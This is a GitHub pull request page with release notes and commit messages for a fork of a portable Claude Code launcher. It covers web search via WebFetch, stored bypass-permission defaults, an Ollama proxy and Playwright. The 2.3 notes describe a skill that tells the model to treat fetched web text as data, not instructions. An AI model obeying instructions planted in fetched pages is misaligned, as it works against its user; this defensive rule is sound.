Skip to content

Node 26, deletable conversations, stored permission mode ... various changes - #52

Open
rainman74 wants to merge 37 commits into
techjarves:mainfrom
rainman74:release-2.1-pr
Open

rainman74 wants to merge 37 commits into
techjarves:mainfrom
rainman74:release-2.1-pr

Conversation

@rainman74

@rainman74 rainman74 commented Nov 14, 2026 •

Copy link
Copy Markdown

What this is

The complete state of rainman74/ClaudeCode-Portable at release 2.3, offered as one reviewable
branch. It covers everything that changed since b3660fd: the 2.0 feature set, the 2.1
additions, the 2.2 fixes, and the web-search skill of 2.3.

The head is release-2.1-pr at 36af9ba, the 2.3 tag. It merges cleanly
onto main: the common ancestor is
b3660fd, and upstream has added only .github/FUNDING.yml since then (verified: no overlapping
files).

54 files, 4700 insertions, 126 deletions, 37 commits. npm test runs 159 cases, all passing;
npm run check is clean.

The demo video and its thumbnail are part of this branch (23.6 MB docs/videos/xPfZyV20_RY.mp4
and 70 KB docs/images/maxresdefault.jpg), so the README loads nothing from YouTube. They land in
the history permanently; drop those two files if that is not wanted.

The release notes for all three versions follow.


Release 2.3

Summary

Sessions on anything but the official Anthropic API could not search the web. WebSearch runs
inside the Anthropic API, and every other provider in this project answers it with a 400. This
release teaches the session a route that works everywhere: WebFetch on a search engine, driven by
a skill that is written on every start and can be switched off manually.

Added

Web search without the WebSearch tool

WebSearch is a server-side tool: the search runs inside the Anthropic API. A custom gateway, a
DeepSeek Anthropic endpoint, OpenRouter and local models all answer it with
400 Server tool web_search_20250305 is unsupported by this provider.

WebFetch is client-side — Claude Code fetches the URL from this machine — so it works with
every provider. A search engine is just a URL, and the new skill tells the session which ones answer:

Route Behavior
https://www.bing.com/search?q=<query>&setlang=de Usable result pages, the default for a query
https://news.google.com/rss/search?q=<query>&hl=de&gl=DE&ceid=DE:de Headlines with source and timestamp
https://html.duckduckgo.com/html/ Bot check instead of results — not used
Pages rendered by JavaScript Fetched empty; the Playwright skill takes over
  • The skill is written to data/claude/<provider>-<auth>/skills/portable-websearch/SKILL.md next to
    the Playwright one, through providerEnvironment(), so the launcher, RESUME.bat and the studio
    all receive it. Claude Code lists its name and description in the system prompt.
  • It instructs the model to treat fetched text as data, never as instructions, and to report a
    blocked page instead of inventing content.
  • Verified end to end on the DeepSeek endpoint: a real session listed the skill, used it, fetched
    Bing and the news feed, and reported a headline with source and timestamp.

The switch is on by default and off only on purpose

START.bat websearch on|off|status (menu option 9) toggles it. Stored as preferences.webSearch
next to the bypass-permissions preference, so an update never turns it back on after it was switched
off. Turning it off removes only this project's skill; a user's own skill is untouched.

Tests

152 -> 159 test cases for this release on its own; the table below counts from the 2.0 baseline.


Release 2.2

Summary

Fixes every finding from the review passes on this branch: six from the review of 01b0c7f, a
Windows argument-parsing bug in the resume path, an empty file: URL in the studio, a proxy
readiness check that ignored the upstream, shared Ollama processes being stopped by the first
session to exit, and a Playwright readiness check that accepted any Chromium build. Nothing on the
host is reconfigured.

Fixed

An explicit --permission-mode was overridden by the stored bypass default

START.bat cli --permission-mode acceptEdits is documented, but with the stored bypass preference
ON (the fresh-install default) the launcher appended --dangerously-skip-permissions on top. Claude
Code received two contradicting modes and could run unrestricted instead of honouring the
edit-only policy.

  • A --permission-mode the caller passed now belongs to that launch, exactly like --safe, and no
    bypass flag is added.
  • The studio's composer applies the same rule: a mode picked there covers exactly one turn and then
    returns to the stored mode. A send the server rejected does not consume the choice, and a mode
    picked while a turn is running is kept for the next one.
  • --unrestricted together with it is rejected rather than silently widening the request.
  • --permission-mode=bypassPermissions still requires the interactive UNRESTRICTED confirmation.

A managed model picker survived a smaller context window

A non-Anthropic profile that declared at least 1M tokens got a modelPicker behavesAs entry.
Lowering or clearing that value later left the entry in the profile's settings.json, so Claude
Code kept mapping the ID to the native 1M row and ignored the declared window.

  • The managed entry is now withdrawn when the profile no longer qualifies.
  • Only an exact model/behavesAs pair is removed; options the user added are untouched, and a
    container that existed only for our entry disappears with it.

A malformed profile settings file was replaced

An unparseable settings.json was reset to {} and overwritten with only the managed picker entry,
discarding every setting that failed to parse — in a file Claude Code owns. The file is now left
untouched.

IPv6 Ollama endpoints failed with ENOTFOUND

URL.hostname keeps the brackets of an IPv6 literal. That is right inside an authority, but
node:http resolves [::1] to nothing, so http://[::1]:11434 failed on every proxied turn.

  • The request hostname is bare; the brackets stay where the value is formatted as a URL or a Host
    header.
  • Covered by a test that forwards through the proxy to a real ::1 listener.

Any service on port 11434 counted as Ollama

localStatus() marked Ollama online on any 2xx from /api/tags. A stranger's JSON service on the
port therefore suppressed starting the bundled server, and turns went to that listener. The response
must now carry a models array.

The same check already existed for the speed proxy and its /health response.

The cross-platform matrix failed on Linux and macOS

tests/backend.test.mjs asserted that file://portable-nowhere/share/x.txt is a UNC path. That
holds only on Windows; elsewhere fileURLToPath rejects a non-local file host, so the Ubuntu and
macOS legs failed. tests/local.test.mjs asserted APPDATA redirection unconditionally, and derived
a bash path from a Windows git.exe using the host path module.

  • The file-URL-with-host and APPDATA cases are asserted per platform.
  • The Windows path-layout case is skipped where the host module cannot express it.

A working directory ending in a backslash was rejected

RESUME.bat --cwd "D:\Projects\my-app\" failed with Working directory not found: D:\Projects\my-app".
Windows hands the argument over with a trailing quote because the backslash escapes the closing one,
and that path can never exist: Windows forbids " in file names.

  • The parser drops the stray quote on win32 only; elsewhere a file name may legitimately end in ",
    and the artifact never appears.
  • No caller has to change: the original --cwd "%~dp0" form works through the parser repair.

Empty file: URLs were opened as the filesystem root

file:, file:// and file:/// name no path. fileURLToPath() throws on Windows but returns / on
POSIX, so the studio's open endpoint handed the filesystem root to the file manager. A file URL whose
pathname holds nothing is now rejected before conversion; real URLs, including
file://server/share/file.pdf, keep working.

A launch that lost the port no longer hijacks the winner

Two launches may point at different Ollama servers while sharing PORTABLE_PROXY_PORT, or race for
the same Ollama port. The second spawned, lost the bind with EADDRINUSE, and the readiness poll
accepted the first launch's healthy process as its own: it recorded the pid of its own dying child,
overwrote the winner's record and then cleared it on exit, so the shared proxy or server lost its
owner and survived every session as an orphan.

  • The proxy names its pid in /health; a matching child owns the listener and a different pid is
    adopted without being claimed. A child that has not reached bind() yet is therefore never
    mistaken for the process holding the port.
  • Ollama names no pid, so a child has to outlive a short grace window while the port answers. A
    child that lost the bind dies inside it.
  • The exit of our own child no longer ends the wait: the winner may answer a moment later, and giving
    up there left the session unregistered, so the last consumer stopped a shared server that was
    still in use.
  • The readiness check also requires the expected upstream, and a failed spawn now surfaces as the
    real error instead of "did not answer".

A shared Ollama server is no longer stopped by the first session to exit

Two terminal launches on the same Ollama profile share one server and one speed proxy. Each launch is
its own process, so "I started this" lived in module state and the first to exit stopped both while the
second was still using them. A registry in data/run/local-consumers.json tracks the live consumers of
each role and the child process that serves it.

  • A session releases its claim on exit; only the last live consumer stops the process, and it does so
    inside the registry lock so no session can register between the decision and the kill.
  • The recorded child pid lets the last consumer stop a process whose spawning session already exited.
  • Dead pids are pruned, so a killed terminal cannot keep the processes alive, and the record is dropped
    with the last consumer so a reused pid never becomes a kill target.
  • Read/modify/write is serialised with a lock file whose stale-breaking verifies file identity instead
    of unlinking by path, so two waiters cannot delete each other's fresh lock. A live owner is honoured
    for a bounded age, because a lock whose unlink failed or whose pid was reused would otherwise
    strand every later call on the unserialised fallback.

Any chromium* directory counted as an installed browser

An interrupted Playwright upgrade leaves the pinned package next to the previous browser build.
Readiness accepted any chromium* directory, so ensurePlaywright() skipped the repair and every
launch failed. Readiness now compares the installed builds against the revisions in
playwright-core/browsers.json; an unreadable browsers.json falls back to the loose check so an
unknown layout never triggers a re-download.

Tests

131 → 159 test cases, all passing, plus npm run check. Every fix above added a regression test;
tests/resume.test.mjs grew from 10 to 11 cases for the working-directory one.


Release 2.1

Summary

Paths in the studio are now clickable. A file or folder mentioned in a reply or in a tool's output
opens with your own application instead of having to be found by hand, and sessions now know that
the bundled Playwright is available.

This release touches only the studio and the launcher. Nothing on the host is reconfigured.

Added

Clickable local paths in the studio

A path in a reply or in a tool's output was plain text, and a browser will not start a local file from
an HTTP page, so a picture or a report had to be found by hand.

  • Paths in replies and tool output are now clickable and open with the user's own application:
    D:\folder\file.png, C:/folder/file.png, \\server\share\file.pdf, and file:///D:/....
  • The click goes to the token-protected POST /api/open, which accepts only absolute paths that
    exist and hands them to explorer.exe / open / xdg-open. The path is one argument and never
    goes through a shell, so &, quotes and other metacharacters stay literal.
  • A path with spaces is only recognised inside quotes, because in running text a space is far more
    often the sentence than part of the name. Trailing punctuation stays outside the link.
  • Inline code is linkified as a whole. Backticks mark the exact value, so a path with a space in
    it (D:\Apps\Claude Code\x.jpg) stays in one piece instead of being cut at the space. A span is
    only accepted when it holds exactly one path; anything else stays plain text.
  • Fenced code blocks still keep plain text so copying works; the earlier rule skipped inline code
    as well, which left the most common way of writing a path unclickable.
  • Web links open in a new tab and never navigate the studio away.

Sessions learn that Playwright exists

A session saw only its workspace and its own configuration, so nothing told the agent that the
bundled browser automation is there — it would have had to stumble over engine/playwright.

  • The launcher writes a skill to data/claude/<provider>-<auth>/skills/portable-playwright/SKILL.md
    whenever Playwright is installed. Claude Code lists its name and description in the system prompt,
    so the agent knows the capability exists and loads the details only when a task needs them.
  • The skill documents the absolute CLI and browser paths (a session's working directory is usually
    the user's project), the screenshot invocation, script usage, the npx warning, and the
    headless-only limitation.
  • Without Playwright the skill is not written and a stale copy is removed; a skill the user added to
    the same folder is never touched.
  • Verified with a real session: the SDK's skills dialog reports portable-playwright with
    source: "user".
  • The profile directory is the only place this can work: sessions run with
    settingSources: ['user'], so a CLAUDE.md inside a project would not be loaded.

Fixed

  • Web links in tool output no longer navigate the studio away.

Release 2.0

Summary

Area Upstream This fork
Bundled Node.js 24.21.0 26.13.1 (LTS "Lithium")
Git for Windows expected on the host detected, or downloaded automatically
Session resume START.bat resume <id> only standalone RESUME.bat / resume.sh with full argument handling
Permission mode per launch, always asked stored preference, default ON, changeable permanently or per launch
Host footprint app data only HOME/AppData/XDG of the session redirected into data/
Local models manual server start Ollama server + speed proxy started and stopped automatically
Runtime updates manual check-update with pinned-version rollback
Community PRs — two open upstream PRs adopted (#43, #47)
Attachments picker only, images as file paths paste, drop, and real image blocks
Tests 50 106
Node.js pin one location launcher, POSIX launcher, CI matrix, engines, README

Adopted community pull requests

Two pull requests that are still open in the official repository were merged into this fork
(commit d1a6bf4). They are listed here because a user of the official repository will not find
them there.

PR #43 — Preserve IME composition in the dashboard (by lux-liang)

Pressing Enter while an input method editor (IME) is composing — Japanese, Chinese, Korean, and
similar — submitted the message instead of confirming the composition.

  • New dashboard/composer.js with isComposerSubmitKey(event, compositionActive), which treats
    Enter as a submit only when Shift is not held, event.isComposing is false, and no composition
    is active.
  • The composer uses it for its key handler, so Enter now ends the composition first and only the
    next Enter sends.
  • Covered by tests/composer.test.mjs.

PR #47 — Allow HTTP base URLs for private LAN hosts (by VikasRajput-18)

Fixes upstream issue #45.

The base-URL validator accepted plain HTTP only for localhost, 127.0.0.1 and [::1], which made
LM Studio, Ollama, or any other local server unreachable over a LAN address (for example
http://192.168.1.50:1234/v1).

  • isPrivateHost() in lib/config.mjs accepts loopback, RFC 1918 (10/8, 172.16/12,
    192.168/16), link-local (169.254/16) and IPv6 ULA/link-local (fc00::/7, fe80::/10)
    addresses over HTTP.
  • Remote hosts still require HTTPS, and URLs with credentials, query strings or fragments remain
    rejected.
  • The security trade-off is documented in the README (2efb954).

The code from both pull requests is included as authored — dashboard/composer.js and the
isPrivateHost() helper match the PR branches exactly. The fork only merged them into a single
commit and rebased them onto its own history.


Added

Runtime update check with rollback (check-update, menu option 7)

Upstream shipped a pinned runtime with no way to move it forward short of a manual reinstall.

  • availableUpdate() compares the pinned Claude Code and Agent SDK versions with npm
    (lib/runtime.mjs).
  • savePinnedVersions() writes the new pins before installing and restores them if the install
    fails, so a bad release cannot leave the launcher pointing at a broken version.
  • Exposed as START.bat check-update / ./start.sh check-update and menu option 7.
  • Includes the README documentation for the update flow, model windows and runtime resume
    (6e2fd1d, 4b86741).

Custom model windows and model-picker mapping

Claude Code only knows Anthropic model IDs; any other ID warned "Model isn't recognized", assumed a
200K window and exposed reduced capabilities.

  • profileSettings() writes a modelPicker row for custom model IDs, so Claude Code treats them as
    a known model.
  • CLAUDE_CODE_MAX_CONTEXT_TOKENS carries the window declared in the dashboard, so the declared
    value stays authoritative for IDs mapped to a different native window.
  • The settings file of the profile's CLAUDE_CONFIG_DIR is merged, never replaced, because Claude
    Code stores its own keys there.

Dashboard conversation management

  • A permanent delete button for conversations, including the Claude history .jsonl behind a synced
    session (d101ffb).
  • The delete button stays visible in the sidebar for synced conversations (247aeb1).

Deleting a conversation no longer needs a second click

The sidebar rebuilt its whole list with innerHTML on every refresh. When a refresh landed between
pressing and releasing the mouse — for example while a session was still loading — the button the
press started on was destroyed, and the browser then delivered no click at all. The press looked
ignored, so the trash had to be pressed twice.

  • The list is no longer rewritten when the generated markup is identical, so the frequent redundant
    renders (resetSession() followed by refreshSessions()) leave the DOM untouched.
  • A press inside the list now defers any re-render until the release, so the click always lands on
    the element it started on. The deferred render runs right after it.
  • Row, project-toggle and delete handlers are delegated on the list container instead of per node, so
    a rebuilt row can never keep a stale handler or lose one.
  • Verified in Chromium: a re-render requested while the mouse is held down no longer swallows the
    click, while the previous behaviour (raw innerHTML replacement during the press) does drop it.

Image paste in the terminal: Ctrl+V added next to Alt+V

Claude Code binds image paste to alt+v on Windows — ctrl+v only on macOS, Linux, and WSL — and the
classic Windows console swallows Ctrl+V for its own paste. Pressing Ctrl+V with a screenshot in the
clipboard therefore did nothing.

  • The launcher now merges ctrl+v -> chat:imagePaste into the profile's keybindings.json. Existing
    bindings and every other context survive; an explicit user choice (including an unbind) is never
    overwritten, and a file with a syntax error is left untouched.
  • Documented that Alt+V is the Windows shortcut and works in the classic console today, plus
    Windows Terminal as the one supported way to make Ctrl+V arrive there.
  • Without an image the action does nothing: the handler only calls the attach function when the
    clipboard actually held an image, and reports "No image found in clipboard." There is no text
    fallback, so text paste stays with Ctrl+Shift+V or the context menu.

Playwright built into the install and update flow

Upstream shipped no browser automation. This fork installs Playwright next to the runtime, so
screenshots and browser checks work from the portable drive without touching the user profile.

  • First launch installs the pinned package into engine/playwright and the headless Chromium build
    into engine/playwright-browsers (~300 MB; --only-shell avoids the ~750 MB full build).
  • Every later launch only checks the installation. A complete setup needs no network.
  • Menu option 5 (install / update) repairs the runtime and Playwright.
  • Menu option 7 (check-update) reports newer Playwright releases next to the Claude Code updates
    and installs them with the same pin rollback: a failed install restores both pins.
  • The version lives in tools/runtime-manifest.json ("playwright": "1.65.1"), because it decides
    the Chromium build revision.
  • A failing Playwright install is a warning, never a startup error. --offline and
    PORTABLE_AI_NO_PLAYWRIGHT=1 skip it.

Paste and drop attachments in the studio

Upstream only accepted files through the picker behind the + button.

  • Paste — a screenshot in the clipboard goes straight into the attachment list
    (Ctrl+V / ⌘V in the composer). Text pastes are untouched.
  • Drag and drop — files can be dropped anywhere in the studio window; the composer highlights
    as the drop target and a drop outside never navigates away from the page.
  • Pasted images arrive without a file name and often as application/octet-stream. The server now
    detects the real format from the file's magic bytes (PNG, JPEG, GIF, WebP) and stores the type in
    a metadata sidecar, so it survives a restart.
  • Images get their own 5 MB limit, because they travel to the model as base64 and providers cap them
    far below the generic 10 MB.

Images reach the model as image blocks

Upstream passed attachments to the agent as local paths only, so a picture had to be opened by the
agent with its file tools before the model could see it — and a model without tool support never saw
it at all.

  • Attached images are now sent in the SDK's streamed prompt form as real image content blocks,
    exactly what the Claude Code terminal does with a pasted screenshot.
  • Messages without images keep the original single-string prompt, so nothing about the text-only
    path changes.
  • Verified end to end against the official runtime: the image block reaches the provider.

Standalone session resume (RESUME.bat, resume.sh)

Upstream only offered START.bat resume <session-id>, which still ran the full launcher: runtime
checks, provider setup, update handling. This fork adds a resume path that does exactly one thing.

  • RESUME.bat (Windows) and resume.sh (Linux/macOS) are self-contained entry points.
  • They verify that Node.js, the Claude Code executable and data/settings.json exist, and fail with
    a clear "run START.bat first" message instead of installing, repairing, updating or reconfiguring
    anything. This is the behavioural difference from START.bat: nothing is repaired silently.
  • Arguments are parsed in Node (lib/resume.mjs), not in batch, so quoting, spaces and Unicode in
    paths work on every platform and the rules are unit-tested:
    • <session-id> (positional) or --resume <session-id>
    • --cwd <directory> or a positional directory
    • --safe / --unrestricted for a one-off permission override
    • duplicates, missing values, unknown flags and malformed IDs are rejected with exit code 1
    • an existing directory always wins over the positional session-ID interpretation
  • Without an ID the most recent conversation in the working directory is continued; if none exists,
    a warning is printed and a new session starts (upstream behaviour, preserved).
  • The default working directory is the project folder.

New files: RESUME.bat, resume.sh, lib/resume.mjs, tools/resume.mjs, tests/resume.test.mjs.

Bypass permissions as a stored setting (default ON)

Upstream chose the mode in an interactive menu on every launch. This fork stores it, so the
launcher, the resume path and the studio agree, and the choice survives restarts.

  • Stored as preferences.bypassPermissions in data/settings.json; missing value means ON.
  • Applies to START.bat cli, --quick, --offline, START.bat resume, RESUME.bat,
    ./start.sh cli, ./start.sh resume and ./resume.sh.
  • Change it permanently with START.bat permissions on|off, ./start.sh permissions on|off,
    START.bat permissions status, or menu option 8 (toggles and returns to the menu).
  • Override it for a single launch with --safe (approvals on) or --unrestricted (approvals off).
    Neither switch is forwarded to Claude Code.
  • Passing --dangerously-skip-permissions or --permission-mode bypassPermissions yourself still
    requires typing UNRESTRICTED; the stored preference does not weaken that check.
  • A --permission-mode you pass is treated like --safe: it wins over the stored default.
  • The effective mode is printed on every terminal launch (Bypass permissions: ON/OFF).

New files: lib/permissions.mjs, tests/permissions.test.mjs.

Git Bash handling

Claude Code on Windows needs Git Bash for its shell tool. Upstream assumed it was installed.

  • lib/git.mjs resolves a usable bash.exe in this order: CLAUDE_CODE_GIT_BASH_PATH, the bundled
    engine/git-win-x64, the standard installation paths, then the directories around any git.exe
    on PATH — including MSYS2 layouts such as <root>/ucrt64/bin/git.exe, where bash.exe lives
    two levels up.
  • The session environment receives CLAUDE_CODE_GIT_BASH_PATH and Git's cmd, bin and usr/bin
    prepended to PATH.
  • tools/bootstrap.ps1 downloads PortableGit only when no Git for Windows is present, and keeps
    the download out of the startup path for everyone else. A failed download is a warning, not an
    abort, so the app still starts.

New file: lib/git.mjs, covered by tests/local.test.mjs.

Zero-footprint environment

Upstream redirected only CLAUDE_CONFIG_DIR, XDG_CONFIG_HOME, XDG_DATA_HOME and XDG_CACHE_HOME
inside the launcher batch file.

  • portableEnvironment() (lib/providers.mjs) also points HOME, USERPROFILE, APPDATA and
    LOCALAPPDATA at data/home, data/app_data and data/local_app_data, and creates them.
  • It is applied to the session child process only. The dashboard server keeps the host
    environment, so browser and system integration are unaffected.
  • The provider environment filter still removes ambient credentials first, so a host
    ANTHROPIC_API_KEY cannot leak into a session.
  • The host Git configuration stays linked in. A redirected HOME hides ~/.gitconfig, which
    made an agent's git commit fail with "Author identity unknown". The session now receives
    GIT_CONFIG_GLOBAL pointing at the host ~/.gitconfig (or ~/.config/git/config), resolved from
    every available profile location — including HOMEDRIVE+HOMEPATH, so detection still works when
    a session is started from an already redirected environment. This is a deliberate exception to
    zero-footprint, and git config --global inside a session writes to that host file.
    PORTABLE_AI_NO_HOST_GIT_CONFIG=1 disables the link.

Automatic Ollama server and speed proxy

Upstream had no speed proxy and left starting the local server to the user.

  • When the active profile is Ollama, every terminal launch starts the bundled
    data/ollama/ollama.exe and the speed proxy, then routes the session through the proxy.
  • The proxy (tools/local-proxy.mjs) trims Claude Code's system prompt from roughly 10k tokens to
    ~300 before it reaches the model. It understands both protocols:
    • /v1/messages — how Claude Code reaches Ollama through its Anthropic-compatible endpoint.
      A proxy that only rewrites /chat/completions never sees these requests.
    • /chat/completions — other OpenAI-style clients
  • Truncation cuts at a sentence boundary and appends a marker instead of slicing mid-word.
  • /health endpoint; activity is written to data/logs/proxy.log only, never to the terminal.
  • Tunable with PORTABLE_PROXY_PORT and PORTABLE_PROXY_MAX_CHARS.
  • The proxy forwards to the server the active profile names, including HTTPS and IPv6 endpoints.
  • Shutdown is exact: only processes this launch started are stopped. A server or proxy the user
    started elsewhere keeps running.
  • Failures degrade instead of blocking: no bundled Ollama means the external server is used; a proxy
    that cannot bind its port means the session runs untrimmed and says so.

New files: lib/local-session.mjs, tools/local-proxy.mjs; extended lib/local-models.mjs,
tools/launcher.mjs, lib/resume.mjs.

Launcher and documentation

  • Menu option 8 shows and toggles the permission mode.
  • Launcher hints name the script actually running (START.bat vs start.sh).
  • README.md: permission-mode matrix for Windows and Linux/macOS, environment-variable reference,
    Ollama automation, zero-footprint notes, updated project structure and troubleshooting entries.

Changed

  • Node.js 24.21.0 → 26.13.1 (LTS "Lithium"), updated in tools/bootstrap.ps1, start.sh, the
    CI matrix (node-version: '26'), package.json (engines: >=26) and the README. An existing
    installation is replaced automatically on the next launch; the previous runtime is moved to
    engine/<platform>/previous (for example engine/win32-x64/previous), a single slot that the
    next install overwrites.
  • canUseTool is installed only for permission modes that can actually consult it (see below).

Fixed

Native sessions could not run a turn — Cannot read properties of undefined (reading 'push')

Sessions imported from the Claude history only carry messages and transcript; syncNative
created them without an events array, and the agent appended to it on the first turn.

  • syncNative now writes events: [] and preserves an existing log.
  • AgentManager.start normalises messages and events before the run.
  • The dashboard reconnect endpoint tolerates a missing log.

A failed start blocked the session forever — A turn is already running

start() registered the run before doing work that could throw. A failure left the entry in the run
map, so every later attempt was rejected.

  • The registration is now released when that phase throws.
  • Covered by a regression test.

Providers rejected tool search — Unsupported content: tool_reference

Claude Code's tool search returns tool_reference blocks naming deferred tools. The Anthropic API
expands them server-side; third-party providers do not, and the adapters threw.

  • The adapters now skip tool_reference blocks. No information is lost: every tool schema —
    including deferred ones — is forwarded anyway, because defer_loading is not propagated.
  • A tool result made up only of references is sent as Tool returned no textual output. rather than
    an empty body.

SDK warning CLAUDE_SDK_CAN_USE_TOOL_SHADOWED

The dashboard passed both canUseTool and permissionMode: 'bypassPermissions'. The SDK approves
every tool call before consulting the callback in that mode, so the callback was dead code and the
SDK warned on every turn.

  • The callback is now installed only for default and acceptEdits. Approval handling in those
    modes is unchanged, and the warning is gone at its source rather than suppressed.

Tests

50 → 106 test cases (npm test) against the upstream baseline at the 2.0 release, plus
npm run check. The adopted pull requests contributed tests/composer.test.mjs and additions to
tests/backend.test.mjs.

New suites: tests/resume.test.mjs, tests/permissions.test.mjs, tests/local.test.mjs.
Regression tests were added for the three bugs above and for the permission behaviour of both the
terminal launcher and the studio.


Upgrade notes

  1. Run START.bat / ./start.sh once. Node.js 26.13.1 is fetched automatically; the previous
    runtime is kept next to it.
  2. Git for Windows is reused when already installed. Without it, PortableGit is downloaded once into
    engine/git-win-x64/.
  3. Terminal sessions now run with approvals disabled by default. Run
    START.bat permissions off (or ./start.sh permissions off, or menu option 8) if you want to be
    asked before every write or command.
  4. RESUME.bat no longer goes through START.bat, so it will not repair a broken runtime. If it
    reports a missing runtime, run START.bat first.

🤖 Generated with Claude Code

techjarves and others added 26 commits November 13, 2026 16:23
- Menu option 7 checks npm for newer Claude Code and Agent SDK releases and restores pins if the install fails.
- Map custom model IDs via modelPicker/behavesAs and declare CLAUDE_CODE_MAX_CONTEXT_TOKENS.
- Hard-disable extended thinking for local adapters with CLAUDE_CODE_DISABLE_THINKING and MAX_THINKING_TOKENS=0.
- Use a neutral adapter error message and load user settings in the dashboard.
- Keep the newer runtime resume/logging and Windows folder picker fixes.
Show an X in the topbar for the open conversation with a green hover matching the theme toggle. Deleting removes the dashboard mirror plus any Claude Code JSONL under data/claude, supports legacy data/chats files, and refuses active runs. Stale nativeSource paths from older installs are skipped instead of blocking deletion, and files outside the history root are never unlinked.
The row trash was hidden again as soon as syncNative marked a session as an imported Claude conversation, producing a brief hover-only flash after the first turn. Deletion is permanent for all conversation types now, so every row keeps the control.
…mprovements

Node.js
- Bump the bundled runtime from 24.21.0 to 26.13.1 (LTS) in the Windows and
  POSIX launchers, the CI matrix, package.json engines, and the README.

Session resume
- RESUME.bat and resume.sh are standalone entry points that never install,
  repair, update, or reconfigure anything.
- Argument parsing lives in lib/resume.mjs: positional or --resume session ID,
  --cwd or positional directory, --safe/--unrestricted overrides, with
  duplicate/missing/unknown-argument validation.

Permissions
- Bypass permissions is stored as preferences.bypassPermissions and defaults to
  ON. START.bat/start.sh "permissions on|off|status" and menu option 8 change it
  permanently; --safe and --unrestricted change it for one launch.
- The studio follows the same stored default.

Portability
- Resolve Git Bash from CLAUDE_CODE_GIT_BASH_PATH, the bundled copy, standard
  install paths, or a git.exe on PATH (including MSYS2 layouts). PortableGit is
  downloaded only when no Git for Windows is installed.
- Redirect HOME, USERPROFILE, APPDATA, LOCALAPPDATA, and the XDG folders of the
  session process into data/.
- Start the bundled Ollama server and a speed proxy automatically and route the
  session through it. The proxy handles /v1/messages as well as
  /chat/completions; only processes started by that launch are stopped.

Fixes
- Imported native sessions lacked an events array, so the first turn failed with
  "Cannot read properties of undefined (reading 'push')" and left the session
  locked as already running.
- Adapters rejected Claude Code tool-search results as
  "Unsupported content: tool_reference".
- Install canUseTool only in permission modes that consult it, removing the
  CLAUDE_SDK_CAN_USE_TOOL_SHADOWED warning at its source.

Tests
- 54 -> 84 test cases, including regression coverage for the three fixes.

Co-Authored-By: Claude Code <noreply@anthropic.com>
A session runs with HOME, USERPROFILE and APPDATA redirected into data/ so it
leaves no footprint on the host. That also hid the user's ~/.gitconfig, so an
agent's git commit failed with "Author identity unknown" and credential
helpers were unavailable.

- Resolve the host Git configuration from every available profile location:
  an existing GIT_CONFIG_GLOBAL, USERPROFILE, HOMEDRIVE+HOMEPATH, then HOME
  (~/.gitconfig or ~/.config/git/config). Trying all candidates keeps detection
  working when a session starts from an already redirected environment.
- Pass it to the session process as GIT_CONFIG_GLOBAL. Detection runs on the
  unredirected parent environment, before HOME is rewritten.
- PORTABLE_AI_NO_HOST_GIT_CONFIG=1 opts out and keeps Git confined to the drive.

This is a deliberate exception to zero-footprint: git config --global inside a
session writes to the host file. README and CHANGELOG document the trade-off.

Tests: 84 -> 86.

Co-Authored-By: Claude Code <noreply@anthropic.com>
The changelog compared against rainman74/ClaudeCode-Portable at 247aeb1,
which is this fork, not the project it came from. Measured against the real
upstream (techjarves/ClaudeCode-Portable at b3660fd) the fork has nine commits
of its own, including two community pull requests and the update-check work.

- State the actual baseline and note the one later upstream commit (dfdc58d,
  a sponsor button) that this fork does not include.
- Add an "Adopted community pull requests" section crediting PR techjarves#43 (lux-liang,
  IME-safe composer) and PR techjarves#47 (VikasRajput-18, HTTP for private LAN hosts).
  Both are still open upstream; the included code matches the PR branches.
- Document the runtime update check with pin rollback, custom model-window and
  model-picker mapping, and the dashboard conversation delete button.
- Correct the test baseline from 54 to 50 tests, measured at the merge base.

Co-Authored-By: Claude Code <noreply@anthropic.com>
Studio
- Paste a screenshot straight into the composer (Ctrl+V / Cmd+V). Plain text
  pastes are left untouched.
- Drop files anywhere in the studio: the composer highlights while dragging and
  a drop outside never navigates away from the page.
- The picker, paste and drop share one implementation with one set of limits.

Attachments
- Detect the real image format from magic bytes (PNG, JPEG, GIF, WebP) instead
  of trusting the reported MIME type; pasted screenshots often arrive as
  application/octet-stream with no usable name.
- Store the type in a metadata sidecar so it survives a restart.
- Images get a 5 MB limit of their own, because they travel to the model as
  base64 and providers cap them below the generic 10 MB.

Agent
- Attached images are sent through the SDK's streamed prompt form as real image
  blocks, the same thing the Claude Code terminal does with a clipboard
  screenshot, so a vision model sees them without opening anything first.
- Messages without images keep the original single-string prompt.
- The read loop stops at the result event, which the streamed form requires.

Verified end to end: the official runtime and SDK deliver the image block to the
provider, and a real Chromium run confirms paste, text paste, drop, and the
oversized-image rejection.

Terminal paste (Ctrl+V) already works through the Claude Code binary; verified
that this project's Git PATH and redirected HOME do not interfere with it.

Tests: 86 -> 90.

Co-Authored-By: Claude Code <noreply@anthropic.com>
Browser automation now lives next to the runtime and travels with the drive:
the npm package in engine/playwright, the headless Chromium build in
engine/playwright-browsers. Nothing is written to the user profile.

- First launch installs the pinned package and browsers after the Claude Code
  runtime; later launches only check and fetch what is missing, so a complete
  setup needs no network.
- Menu option 5 (install/update) repairs both the runtime and Playwright.
- Menu option 7 (check-update) reports newer Playwright releases next to the
  Claude Code updates and installs them with the same pin rollback: a failed
  install restores both pins.
- The version is pinned in tools/runtime-manifest.json because it decides the
  Chromium build revision. --only-shell keeps the download at ~300 MB instead
  of ~750 MB, and --no-remove protects browsers copied from another machine.
- A Playwright failure is a warning, never a startup error. --offline and
  PORTABLE_AI_NO_PLAYWRIGHT=1 skip it, START.bat status reports its state.
- Sessions receive PLAYWRIGHT_BROWSERS_PATH, so browser automation started by
  the agent uses the portable builds instead of downloading into the profile.

Verified on this machine: the real install produced Playwright 1.65.1 with
Chromium headless shell 1255, a repeated run is a 65 ms no-op without network,
and a screenshot renders through the portable browsers.

Tests: 90 -> 99.

Co-Authored-By: Claude Code <noreply@anthropic.com>
Co-Authored-By: Claude Code <noreply@anthropic.com>
Claude Code binds image paste to alt+v on Windows and ctrl+v only on
macOS, Linux, and WSL. The classic Windows console also swallows Ctrl+V
for its own paste, which is why pressing it with a screenshot in the
clipboard did nothing.

- The launcher merges ctrl+v -> chat:imagePaste into the profile's
  keybindings.json, additively: existing bindings and other contexts
  survive, an explicit user choice (including an unbind) stays, and a
  file with a syntax error is left alone instead of being rewritten.
- Without an image the action falls back to a text paste, so the extra
  binding cannot break pasting text.
- README documents Alt+V as the Windows shortcut that works today in the
  classic console, and the two ways to make Ctrl+V arrive there (Windows
  Terminal, or CtrlKeyShortcutsDisabled).

Tests: 99 -> 106.

Co-Authored-By: Claude Code <noreply@anthropic.com>
The session list was rewritten with innerHTML on every refresh. When a
